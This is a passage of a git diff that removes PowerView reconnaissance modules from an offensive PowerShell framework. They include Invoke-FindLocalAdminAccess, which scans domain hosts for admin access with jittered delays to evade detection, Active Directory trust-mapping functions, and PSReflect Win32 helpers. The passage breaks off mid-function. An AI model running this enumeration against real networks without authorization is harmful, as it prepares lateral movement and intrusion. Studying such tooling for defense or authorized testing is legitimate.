.DESCRIPTION - This function finds the local domain name for a host using Get-NetDomain, - queries the domain for all active machines with Get-NetComputers, then for - each server it checks if the current user has local administrator - access using Invoke-CheckLocalAdminAccess. - - .PARAMETER Hosts - Host array to enumerate, passable on the pipeline. - - .PARAMETER HostList - List of hostnames/IPs to search. - - .PARAMETER HostFilter - Host filter name to query AD for, wildcards accepted. - - .PARAMETER Delay - Delay between enumerating hosts, defaults to 0 - - .PARAMETER NoPing - Don't ping each host to ensure it's up before enumerating. - - .PARAMETER Jitter - Jitter for the host delay, defaults to +/- 0.3 - - .PARAMETER Domain - Domain to query for machines - - .EXAMPLE - > Invoke-FindLocalAdminAccess - Find machines on the local domain where the current user has local - administrator access. - - .EXAMPLE - > Invoke-FindLocalAdminAccess -Domain testing - Find machines on the 'testing' domain where the current user has - local administrator access. - - .EXAMPLE - > Invoke-FindLocalAdminAccess -Delay 60 - Find machines on the local domain where the current user has local administrator - access with a 60 second (+/- *.3) randomized delay between touching each host. - - .EXAMPLE - > Invoke-FindLocalAdminAccess -HostList hosts.txt - Find which machines in the host list the current user has local - administrator access. - - .LINK - https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb - http://www.harmj0y.net/blog/penetesting/finding-local-admin-with-the-veil-framework/ - #> - - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$true)] - [String[]] - $Hosts, - - [string] - $HostList, - - [string] - $HostFilter, - - [Switch] - $NoPing, - - [UInt32] - $Delay = 0, - - [double] - $Jitter = .3, - - [string] - $Domain - ) - - begin { - - If ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - - # get the current user - $CurrentUser = Get-NetCurrentUser - - # random object for delay - $randNo = New-Object System.Random - - # get the target domain - if($Domain){ - $targetDomain = $Domain - } - else{ - # use the local domain - $targetDomain = $null - } - - Write-Verbose "[*] Running Invoke-FindLocalAdminAccess with delay of $Delay" - if($targetDomain){ - Write-Verbose "[*] Domain: $targetDomain" - } - - # if we're using a host list, read the targets in and add them to the target list - if($HostList){ - if (Test-Path -Path $HostList){ - $Hosts = Get-Content -Path $HostList - } - else{ - Write-Warning "[!] Input file '$HostList' doesn't exist!" - return - } - } - elseif($HostFilter){ - Write-Verbose "[*] Querying domain $targetDomain for hosts with filter '$HostFilter'`r`n" - $Hosts = Get-NetComputers -Domain $targetDomain -HostName $HostFilter - } - - } - - process { - - if ( (-not ($Hosts)) -or ($Hosts.length -eq 0)) { - Write-Verbose "[*] Querying domain $targetDomain for hosts...`r`n" - $Hosts = Get-NetComputers -Domain $targetDomain - } - - # randomize the host list - $Hosts = Get-ShuffledArray $Hosts - - $counter = 0 - - foreach ($server in $Hosts){ - - $counter = $counter + 1 - - Write-Verbose "[*] Enumerating server $server ($counter of $($Hosts.count))" - - # sleep for our semi-randomized interval - Start-Sleep -Seconds $randNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - - $up = $true - if(-not $NoPing){ - $up = Test-Server -Server $server - } - if($up){ - # check if the current user has local admin access to this server - $access = Invoke-CheckLocalAdminAccess -HostName $server - if ($access) { - $ip = Get-HostIP -hostname $server - Write-Verbose "[+] Current user '$CurrentUser' has local admin access on $server ($ip)" - $server - } - } - } - } -} - - -# expose the Win32API functions and datastructures below -# using PSReflect - -$Mod = New-InMemoryModule -ModuleName Win32 - -# all of the Win32 API functions we need -$FunctionDefinitions = @( - (func advapi32 OpenSCManagerW ([IntPtr]) @([string], [string], [Int])), - (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), - (func kernel32 GetLastError ([Int]) @()) -) - -$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' -$Netapi32 = $Types['netapi32'] -$Advapi32 = $Types['advapi32'] -$Kernel32 = $Types['kernel32'] diff --git a/data/module_source/situational_awareness/network/Invoke-MapDomainTrusts.ps1 b/data/module_source/situational_awareness/network/Invoke-MapDomainTrusts.ps1 deleted file mode 100644 index ac2e99172..000000000 --- a/data/module_source/situational_awareness/network/Invoke-MapDomainTrusts.ps1 +++ /dev/null @@ -1,308 +0,0 @@ - -# Invoke-MapDomainTrusts.ps1 -# part of PowerView in Veil's PowerTools -# https://github.com/Veil-Framework/PowerTools/ - -function Get-NetDomain { - <# - .SYNOPSIS - Returns the name of the current user's domain. - - .PARAMETER Domain - The domain to query return. If not supplied, the - current domain is used. - - .EXAMPLE - > Get-NetDomain - Return the current domain. - - .LINK - http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG - #> - - [CmdletBinding()] - param( - [String] - $Domain - ) - - if($Domain -and ($Domain -ne "")){ - $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) - try { - [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) - } - catch{ - Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." - $Null - } - } - else{ - [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() - } -} - -function Get-NetDomainTrusts { - <# - .SYNOPSIS - Return all domain trusts for the current domain or - a specified domain. - - .PARAMETER Domain - The domain whose trusts to enumerate. If not given, - uses the current domain. - - .EXAMPLE - > Get-NetDomainTrusts - Return domain trusts for the current domain. - - .EXAMPLE - > Get-NetDomainTrusts -Domain "test" - Return domain trusts for the "test" domain. - #> - - [CmdletBinding()] - param( - [string] - $Domain - ) - - $d = Get-NetDomain -Domain $Domain - if($d){ - $d.GetAllTrustRelationships() - } -} - - -function Get-NetDomainTrustsLDAP { - <# - .SYNOPSIS - Return all domain trusts for the current domain or - a specified domain using LDAP queries. This is potentially - less accurate than the Get-NetDomainTrusts function, but - can be relayed through your current domain controller - in cases where you can't reach a remote domain directly. - - .PARAMETER Domain - The domain whose trusts to enumerate. If not given, - uses the current domain. - - .EXAMPLE - > Get-NetDomainTrustsLDAP - Return domain trusts for the current domain. - - .EXAMPLE - > Get-NetDomainTrustsLDAP -Domain "test" - Return domain trusts for the "test" domain. - #> - - [CmdletBinding()] - param( - [string] - $Domain - ) - - $TrustSearcher = $Null - - # if a domain is specified, try to grab that domain - if ($Domain){ - - # try to grab the primary DC for the current domain - try{ - $PrimaryDC = ([Array](Get-NetDomainControllers))[0].Name - } - catch{ - $PrimaryDC = $Null - } - - try { - # reference - http://blogs.msdn.com/b/javaller/archive/2013/07/29/searching-across-active-directory-domains-in-powershell.aspx - $dn = "DC=$($Domain.Replace('.', ',DC='))" - - # if we could grab the primary DC for the current domain, use that for the query - if ($PrimaryDC){ - $TrustSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$PrimaryDC/$dn") - } - else{ - # otherwise default to connecting to the DC for the target domain - $TrustSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn") - } - - $TrustSearcher.filter = '(&(objectClass=trustedDomain))' - $TrustSearcher.PageSize = 200 - } - catch{ - Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." - $TrustSearcher = $Null - } - } - else{ - $Domain = (Get-NetDomain).Name - $TrustSearcher = [adsisearcher]'(&(objectClass=trustedDomain))' - $TrustSearcher.PageSize = 200 - } - - if($TrustSearcher){ - $TrustSearcher.FindAll() | ForEach-Object { - $props = $_.Properties - $out = New-Object psobject - Switch ($props.trustattributes) - { - 4 { $attrib = "External"} - 16 { $attrib = "CrossLink"} - 32 { $attrib = "ParentChild"} - 64 { $attrib = "External"} - 68 { $attrib = "ExternalQuarantined"} - Default { $attrib = "unknown trust attribute number: $($props.trustattributes)" } - } - Switch ($props.trustdirection){ - 0 {$direction = "Disabled"} - 1 {$direction = "Inbound"} - 2 {$direction = "Outbound"} - 3 {$direction = "Bidirectional"} - } - $out | Add-Member Noteproperty 'SourceName' $domain - $out | Add-Member Noteproperty 'TargetName' $props.name[0] - $out | Add-Member Noteproperty 'TrustType' "$attrib" - $out | Add-Member Noteproperty 'TrustDirection' "$direction" - $out - } - } -} - - -function Invoke-MapDomainTrusts { - <# - .SYNOPSIS - Try to map all transitive domain trust relationships. - - .DESCRIPTION - This function gets all trusts for the current domain, - and tries to get all trusts for each domain it finds. - - .EXAMPLE - > Invoke-MapDomainTrusts - Return a "domain1,domain2,trustType,trustDirection" list - - .LINK - http://blog.harmj0y.net/ - #> - - # keep track of domains seen so we don't hit infinite recursion - $seenDomains = @{} - - # our domain status tracker - $domains = New-Object System.Collections.Stack - - # get the current domain and push it onto the stack - $currentDomain = (([adsi]'').distinguishedname -replace 'DC=','' -replace ',','.')[0] - $domains.push($currentDomain) - - while($domains.Count -ne 0){ - - $d = $domains.Pop() - - # if we haven't seen this domain before - if (-not $seenDomains.ContainsKey($d)) { - - # mark it as seen in our list - $seenDomains.add($d, "") | out-null - - try{ - # get all the trusts for this domain - $trusts = Get-NetDomainTrusts -Domain $d - if ($trusts){ - - # enumerate each trust found - foreach ($trust in $trusts){ - $source = $trust.SourceName - $target = $trust.TargetName - $type = $trust.TrustType - $direction = $trust.TrustDirection - - # make sure we process the target - $domains.push($target) | out-null - - # build the nicely-parsable custom output object - $out = new-object psobject - $out | add-member Noteproperty 'SourceDomain' $source - $out | add-member Noteproperty 'TargetDomain' $target - $out | add-member Noteproperty 'TrustType' "$type" - $out | add-member Noteproperty 'TrustDirection' "$direction" - $out - } - } - } - catch{ - Write-Warning "[!] Error: $_" - } - } - } -} - - -function Invoke-MapDomainTrustsLDAP { - <# - .SYNOPSIS - Try to map all transitive domain trust relationships - through LDAP queries. - - .EXAMPLE - > Invoke-MapDomainTrustsLDAP - Return a "domain1,domain2,trustType,trustDirection" list - - .LINK - http://blog.harmj0y.net/ - #> - - # keep track of domains seen so we don't hit infinite recursion - $seenDomains = @{} - - # our domain status tracker - $domains = New-Object System.Collections.Stack - - # get the current domain and push it onto the stack - $currentDomain = (([adsi]'').distinguishedname -replace 'DC=','' -replace ',','.')[0] - $domains.push($currentDomain) - - while($domains.Count -ne 0){ - - $d = $domains.Pop() - - # if we haven't seen this domain before - if (-not $seenDomains.ContainsKey($d)) { - - # mark it as seen in our list - $seenDomains.add($d, "") | out-null - - try{ - # get all the trusts for this domain through LDAP queries - $trusts = Get-NetDomainTrustsLDAP -Domain $d - if ($trusts){ - - # enumerate each trust found - foreach ($trust in $trusts){ - $source = $trust.SourceName - $target = $trust.TargetName - $type = $trust.TrustType - $direction = $trust.TrustDirection - - # make sure we process the target - $domains.push($target) | out-null - - # build the nicely-parsable custom output object - $out = new-object psobject - $out | add-member Noteproperty 'SourceDomain' $source - $out | add-member Noteproperty 'TargetDomain' $target - $out | add-member Noteproperty 'TrustType' $type - $out | add-member Noteproperty 'TrustDirection' $direction - $out - } - } - } - catch{ - Write-Warning "[!] Error: $_" - } - } - } -} - diff --git a/data/module_source/situational_awareness/network/Invoke-Netview.ps1 b/data/module_source/situational_awareness/network/Invoke-Netview.ps1 deleted file mode 100644 index 15ae6ab52..000000000 --- a/data/module_source/situational_awareness/network/Invoke-Netview.ps1 +++ /dev/null @@ -1,2660 +0,0 @@ -#requires -version 2 - -<# - -Veil-PowerView v1.9 - -See README.md for more information. - -by @harmj0y -#> - - -# PSReflect code for Windows API access -# Author: @mattifestation -# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1 -function New-InMemoryModule -{ -<# -.SYNOPSIS - -Creates an in-memory assembly and module - -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -When defining custom enums, structs, and unmanaged functions, it is -necessary to associate to an assembly module. This helper function -creates an in-memory module that can be passed to the 'enum', -'struct', and Add-Win32Type functions. - -.PARAMETER ModuleName - -Specifies the desired name for the in-memory assembly and module. If -ModuleName is not provided, it will default to a GUID. - -.EXAMPLE - -$Module = New-InMemoryModule -ModuleName Win32 -#> - - Param - ( - [Parameter(Position = 0)] - [ValidateNotNullOrEmpty()] - [String] - $ModuleName = [Guid]::NewGuid().ToString() - ) - - $LoadedAssemblies = [AppDomain]::CurrentDomain.GetAssemblies() - - foreach ($Assembly in $LoadedAssemblies) { - if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { - return $Assembly - } - } - - $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) - $Domain = [AppDomain]::CurrentDomain - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) - - return $ModuleBuilder -} - - -# A helper function used to reduce typing while defining function -# prototypes for Add-Win32Type. -function func -{ - Param - ( - [Parameter(Position = 0, Mandatory = $True)] - [String] - $DllName, - - [Parameter(Position = 1, Mandatory = $True)] - [string] - $FunctionName, - - [Parameter(Position = 2, Mandatory = $True)] - [Type] - $ReturnType, - - [Parameter(Position = 3)] - [Type[]] - $ParameterTypes, - - [Parameter(Position = 4)] - [Runtime.InteropServices.CallingConvention] - $NativeCallingConvention, - - [Parameter(Position = 5)] - [Runtime.InteropServices.CharSet] - $Charset, - - [Switch] - $SetLastError - ) - - $Properties = @{ - DllName = $DllName - FunctionName = $FunctionName - ReturnType = $ReturnType - } - - if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } - if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } - if ($Charset) { $Properties['Charset'] = $Charset } - if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } - - New-Object PSObject -Property $Properties -} - - -function Add-Win32Type -{ -<# -.SYNOPSIS - -Creates a .NET type for an unmanaged Win32 function. - -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: func - -.DESCRIPTION - -Add-Win32Type enables you to easily interact with unmanaged (i.e. -Win32 unmanaged) functions in PowerShell. After providing -Add-Win32Type with a function signature, a .NET type is created -using reflection (i.e. csc.exe is never called like with Add-Type). - -The 'func' helper function can be used to reduce typing when defining -multiple function definitions. - -.PARAMETER DllName - -The name of the DLL. - -.PARAMETER FunctionName - -The name of the target function. - -.PARAMETER ReturnType - -The return type of the function. - -.PARAMETER ParameterTypes - -The function parameters. - -.PARAMETER NativeCallingConvention - -Specifies the native calling convention of the function. Defaults to -stdcall. - -.PARAMETER Charset - -If you need to explicitly call an 'A' or 'W' Win32 function, you can -specify the character set. - -.PARAMETER SetLastError - -Indicates whether the callee calls the SetLastError Win32 API -function before returning from the attributed method. - -.PARAMETER Module - -The in-memory module that will host the functions. Use -New-InMemoryModule to define an in-memory module. - -.PARAMETER Namespace - -An optional namespace to prepend to the type. Add-Win32Type defaults -to a namespace consisting only of the name of the DLL. - -.EXAMPLE - -$Mod = New-InMemoryModule -ModuleName Win32 - -$FunctionDefinitions = @( - (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), - (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), - (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) -) - -$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' -$Kernel32 = $Types['kernel32'] -$Ntdll = $Types['ntdll'] -$Ntdll::RtlGetCurrentPeb() -$ntdllbase = $Kernel32::GetModuleHandle('ntdll') -$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') - -.NOTES - -Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 - -When defining multiple function prototypes, it is ideal to provide -Add-Win32Type with an array of function signatures. That way, they -are all incorporated into the same in-memory module. -#> - - [OutputType([Hashtable])] - Param( - [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] - [String] - $DllName, - - [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] - [String] - $FunctionName, - - [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] - [Type] - $ReturnType, - - [Parameter(ValueFromPipelineByPropertyName = $True)] - [Type[]] - $ParameterTypes, - - [Parameter(ValueFromPipelineByPropertyName = $True)] - [Runtime.InteropServices.CallingConvention] - $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, - - [Parameter(ValueFromPipelineByPropertyName = $True)] - [Runtime.InteropServices.CharSet] - $Charset = [Runtime.InteropServices.CharSet]::Auto, - - [Parameter(ValueFromPipelineByPropertyName = $True)] - [Switch] - $SetLastError, - - [Parameter(Mandatory = $True)] - [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] - $Module, - - [ValidateNotNull()] - [String] - $Namespace = '' - ) - - BEGIN - { - $TypeHash = @{} - } - - PROCESS - { - if ($Module -is [Reflection.Assembly]) - { - if ($Namespace) - { - $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName") - } - else - { - $TypeHash[$DllName] = $Module.GetType($DllName) - } - } - else - { - # Define one type for each DLL - if (!$TypeHash.ContainsKey($DllName)) - { - if ($Namespace) - { - $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') - } - else - { - $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') - } - } - - $Method = $TypeHash[$DllName].DefineMethod( - $FunctionName, - 'Public,Static,PinvokeImpl', - $ReturnType, - $ParameterTypes) - - # Make each ByRef parameter an Out parameter - $i = 1 - foreach($Parameter in $ParameterTypes) - { - if ($Parameter.IsByRef) - { - [void] $Method.DefineParameter($i, 'Out', $null) - } - - $i++ - } - - $DllImport = [Runtime.InteropServices.DllImportAttribute] - $SetLastErrorField = $DllImport.GetField('SetLastError') - $CallingConventionField = $DllImport.GetField('CallingConvention') - $CharsetField = $DllImport.GetField('CharSet') - if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } - - # Equivalent to C# version of [DllImport(DllName)] - $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) - $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, - $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), - [Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField), - [Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset))) - - $Method.SetCustomAttribute($DllImportAttribute) - } - } - - END - { - if ($Module -is [Reflection.Assembly]) - { - return $TypeHash - } - - $ReturnTypes = @{} - - foreach ($Key in $TypeHash.Keys) - { - $Type = $TypeHash[$Key].CreateType() - - $ReturnTypes[$Key] = $Type - } - - return $ReturnTypes - } -} - - -function psenum -{ -<# -.SYNOPSIS - -Creates an in-memory enumeration for use in your PowerShell session. - -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -The 'psenum' function facilitates the creation of enums entirely in -memory using as close to a "C style" as PowerShell will allow. - -.PARAMETER Module - -The in-memory module that will host the enum. Use -New-InMemoryModule to define an in-memory module. - -.PARAMETER FullName - -The fully-qualified name of the enum. - -.PARAMETER Type - -The type of each enum element. - -.PARAMETER EnumElements - -A hashtable of enum elements. - -.PARAMETER Bitfield - -Specifies that the enum should be treated as a bitfield. - -.EXAMPLE - -$Mod = New-InMemoryModule -ModuleName Win32 - -$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{ - UNKNOWN = 0 - NATIVE = 1 # Image doesn't require a subsystem. - WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem. - WINDOWS_CUI = 3 # Image runs in the Windows character subsystem. - OS2_CUI = 5 # Image runs in the OS/2 character subsystem. - POSIX_CUI = 7 # Image runs in the Posix character subsystem. - NATIVE_WINDOWS = 8 # Image is a native Win9x driver. - WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem. - EFI_APPLICATION = 10 - EFI_BOOT_SERVICE_DRIVER = 11 - EFI_RUNTIME_DRIVER = 12 - EFI_ROM = 13 - XBOX = 14 - WINDOWS_BOOT_APPLICATION = 16 -} - -.NOTES - -PowerShell purists may disagree with the naming of this function but -again, this was developed in such a way so as to emulate a "C style" -definition as closely as possible. Sorry, I'm not going to name it -New-Enum. :P -#> - - [OutputType([Type])] - Param - ( - [Parameter(Position = 0, Mandatory = $True)] - [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] - $Module, - - [Parameter(Position = 1, Mandatory = $True)] - [ValidateNotNullOrEmpty()] - [String] - $FullName, - - [Parameter(Position = 2, Mandatory = $True)] - [Type] - $Type, - - [Parameter(Position = 3, Mandatory = $True)] - [ValidateNotNullOrEmpty()] - [Hashtable] - $EnumElements, - - [Switch] - $Bitfield - ) - - if ($Module -is [Reflection.Assembly]) - { - return ($Module.GetType($FullName)) - } - - $EnumType = $Type -as [Type] - - $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType) - - if ($Bitfield) - { - $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) - $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) - $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) - } - - foreach ($Key in $EnumElements.Keys) - { - # Apply the specified enum type to each element - $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) - } - - $EnumBuilder.CreateType() -} - - -# A helper function used to reduce typing while defining struct -# fields. -function field -{ - Param - ( - [Parameter(Position = 0, Mandatory = $True)] - [UInt16] - $Position, - - [Parameter(Position = 1, Mandatory = $True)] - [Type] - $Type, - - [Parameter(Position = 2)] - [UInt16] - $Offset, - - [Object[]] - $MarshalAs - ) - - @{ - Position = $Position - Type = $Type -as [Type] - Offset = $Offset - MarshalAs = $MarshalAs - } -} - - -function struct -{ -<# -.SYNOPSIS - -Creates an in-memory struct for use in your PowerShell session. - -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: field - -.DESCRIPTION - -The 'struct' function facilitates the creation of structs entirely in -memory using as close to a "C style" as PowerShell will allow. Struct -fields are specified using a hashtable where each field of the struct -is comprosed of the order in which it should be defined, its .NET -type, and optionally, its offset and special marshaling attributes. - -One of the features of 'struct' is that after your struct is defined, -it will come with a built-in GetSize method as well as an explicit -converter so that you can easily cast an IntPtr to the struct without -relying upon calling SizeOf and/or PtrToStructure in the Marshal -class. - -.PARAMETER Module - -The in-memory module that will host the struct. Use -New-InMemoryModule to define an in-memory module. - -.PARAMETER FullName - -The fully-qualified name of the struct. - -.PARAMETER StructFields - -A hashtable of fields. Use the 'field' helper function to ease -defining each field. - -.PARAMETER PackingSize - -Specifies the memory alignment of fields. - -.PARAMETER ExplicitLayout - -Indicates that an explicit offset for each field will be specified. - -.EXAMPLE - -$Mod = New-InMemoryModule -ModuleName Win32 - -$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ - DOS_SIGNATURE = 0x5A4D - OS2_SIGNATURE = 0x454E - OS2_SIGNATURE_LE = 0x454C - VXD_SIGNATURE = 0x454C -} - -$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ - e_magic = field 0 $ImageDosSignature - e_cblp = field 1 UInt16 - e_cp = field 2 UInt16 - e_crlc = field 3 UInt16 - e_cparhdr = field 4 UInt16 - e_minalloc = field 5 UInt16 - e_maxalloc = field 6 UInt16 - e_ss = field 7 UInt16 - e_sp = field 8 UInt16 - e_csum = field 9 UInt16 - e_ip = field 10 UInt16 - e_cs = field 11 UInt16 - e_lfarlc = field 12 UInt16 - e_ovno = field 13 UInt16 - e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) - e_oemid = field 15 UInt16 - e_oeminfo = field 16 UInt16 - e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) - e_lfanew = field 18 Int32 -} - -# Example of using an explicit layout in order to create a union. -$TestUnion = struct $Mod TestUnion @{ - field1 = field 0 UInt32 0 - field2 = field 1 IntPtr 0 -} -ExplicitLayout - -.NOTES - -PowerShell purists may disagree with the naming of this function but -again, this was developed in such a way so as to emulate a "C style" -definition as closely as possible. Sorry, I'm not going to name it -New-Struct. :P -#> - - [OutputType([Type])] - Param - ( - [Parameter(Position = 1, Mandatory = $True)] - [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] - $Module, - - [Parameter(Position = 2, Mandatory = $True)] - [ValidateNotNullOrEmpty()] - [String] - $FullName, - - [Parameter(Position = 3, Mandatory = $True)] - [ValidateNotNullOrEmpty()] - [Hashtable] - $StructFields, - - [Reflection.Emit.PackingSize] - $PackingSize = [Reflection.Emit.PackingSize]::Unspecified, - - [Switch] - $ExplicitLayout - ) - - if ($Module -is [Reflection.Assembly]) - { - return ($Module.GetType($FullName)) - } - - [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass, - Class, - Public, - Sealed, - BeforeFieldInit' - - if ($ExplicitLayout) - { - $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout - } - else - { - $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout - } - - $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) - $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] - $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) - - $Fields = New-Object Hashtable[]($StructFields.Count) - - # Sort each field according to the orders specified - # Unfortunately, PSv2 doesn't have the luxury of the - # hashtable [Ordered] accelerator. - foreach ($Field in $StructFields.Keys) - { - $Index = $StructFields[$Field]['Position'] - $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} - } - - foreach ($Field in $Fields) - { - $FieldName = $Field['FieldName'] - $FieldProp = $Field['Properties'] - - $Offset = $FieldProp['Offset'] - $Type = $FieldProp['Type'] - $MarshalAs = $FieldProp['MarshalAs'] - - $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') - - if ($MarshalAs) - { - $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) - if ($MarshalAs[1]) - { - $Size = $MarshalAs[1] - $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, - $UnmanagedType, $SizeConst, @($Size)) - } - else - { - $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) - } - - $NewField.SetCustomAttribute($AttribBuilder) - } - - if ($ExplicitLayout) { $NewField.SetOffset($Offset) } - } - - # Make the struct aware of its own size. - # No more having to call [Runtime.InteropServices.Marshal]::SizeOf! - $SizeMethod = $StructBuilder.DefineMethod('GetSize', - 'Public, Static', - [Int], - [Type[]] @()) - $ILGenerator = $SizeMethod.GetILGenerator() - # Thanks for the help, Jason Shirk! - $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) - $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, - [Type].GetMethod('GetTypeFromHandle')) - $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, - [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) - $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) - - # Allow for explicit casting from an IntPtr - # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure! - $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', - 'PrivateScope, Public, Static, HideBySig, SpecialName', - $StructBuilder, - [Type[]] @([IntPtr])) - $ILGenerator2 = $ImplicitConverter.GetILGenerator() - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, - [Type].GetMethod('GetTypeFromHandle')) - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, - [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) - - $StructBuilder.CreateType() -} - - -function Get-ShuffledArray { - <# - .SYNOPSIS - Returns a randomly-shuffled version of a passed array. - - .DESCRIPTION - This function takes an array and returns a randomly-shuffled - version. - - .PARAMETER Array - The passed array to shuffle. - - .OUTPUTS - System.Array. The passed array but shuffled. - - .EXAMPLE - > $shuffled = Get-ShuffledArray $array - Get a shuffled version of $array. - - .LINK - http://sqlchow.wordpress.com/2013/03/04/shuffle-the-deck-using-powershell/ - #> - [CmdletBinding()] - param( - [Parameter(Mandatory=$True,ValueFromPipeline=$True)] - [Array]$Array - ) - Begin{} - Process{ - $len = $Array.Length - while($len){ - $i = Get-Random ($len --) - $tmp = $Array[$len] - $Array[$len] = $Array[$i] - $Array[$i] = $tmp - } - $Array; - } -} - - - -function Get-HostIP { - <# - .SYNOPSIS - Takes a hostname and resolves it an IP. - - .DESCRIPTION - This function resolves a given hostename to its associated IPv4 - address. If no hostname is provided, it defaults to returning - the IP address of the local host the script be being run on. - - .OUTPUTS - System.String. The IPv4 address. - - .EXAMPLE - > Get-HostIP -hostname SERVER - Return the IPv4 address of 'SERVER' - #> - - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$true)] - [string] - $hostname = '' - ) - process { - try{ - # get the IP resolution of this specified hostname - $results = @(([net.dns]::GetHostEntry($hostname)).AddressList) - - if ($results.Count -ne 0){ - foreach ($result in $results) { - # make sure the 